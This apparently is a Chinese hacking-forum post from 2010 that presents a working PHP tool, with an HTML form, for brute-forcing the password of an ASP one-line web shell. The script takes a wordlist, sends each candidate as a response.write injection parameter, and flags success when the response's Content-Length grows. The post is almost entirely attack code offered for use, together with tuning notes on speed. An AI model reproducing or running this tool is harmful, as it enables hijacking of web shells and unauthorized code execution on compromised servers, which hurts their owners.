看到这里,http://www.t00ls.net/viewthread.php?tid=13764&extra=&page=1

就写了个php的,
说明:不是用获取页面内容,再判断关键字的方法。那样在一个大量数据的网页可能会很慢。
这里用的是判断http头的Content-Length的方法,如果密码匹配成功,则response.write就会成功,页面内容就比原来多了
思路就是这样!
php不能多线程,速度大概是1000个密码15-20秒

 

<?php

/*

 * Created on 2010-11-4

 */

set_time_limit(0);

$url = $_GET['url'];

$passfile = $_GET['upfile'];

$keyword = "xxoo";                      //关键字,改不改一样,因为判断的不是内容,而是http返回的内容长度

 

$c_l = get_headers($url,1);             //获得正常http头的内容长度

$normal_c_l = $c_l['Content-Length'];

 

if($url && $passfile && $keyword) {

$fp = fopen($passfile,r);

while(!feof($fp)) {

$pass = trim(fgets($fp));

$all_url=$url."?".$pass."=response.write(".'"'.$keyword.'")';

$head_msg = get_headers($all_url,1);

if($head_msg['Content-Length'] >$normal_c_l) {      //内容长度大于正常的就是keyword写入了,密码就出来咯

echo "<font color=red>破解成功,密码是:$pass</font>";

exit();

}

 

}

fclose($fp);

}

 

?>

<html>

<head>

<title>asp一句话暴力破解</title>

</head>

<body>

<form action='' method="get">

  <table>

    <tr>

      <td>一句话地址:</td>

      <td><input type="text" name="url" value="http://127.0.0.1:81/2.asp" /></td>

    </tr>

    <tr>

      <td>密码文件:</td>

      <td><input name="upfile" type="file"></td>

    </tr>

  </table>

<input type="submit" name="submit" value="提交"/>

</form>

<p>说明:不是用获取页面内容,再判断关键字的方法。那样在一个大量数据的网页可能会很慢。</p>

<p>这里用的是判断http头的Content-Length的方法,如果密码匹配成功,则response.write就会成功,页面内容就比原来多了</p>

<p>思路就是这样!</p>

<p>php不能多线程,速度大概是1000个密码15-20秒</p>

<body>

</html>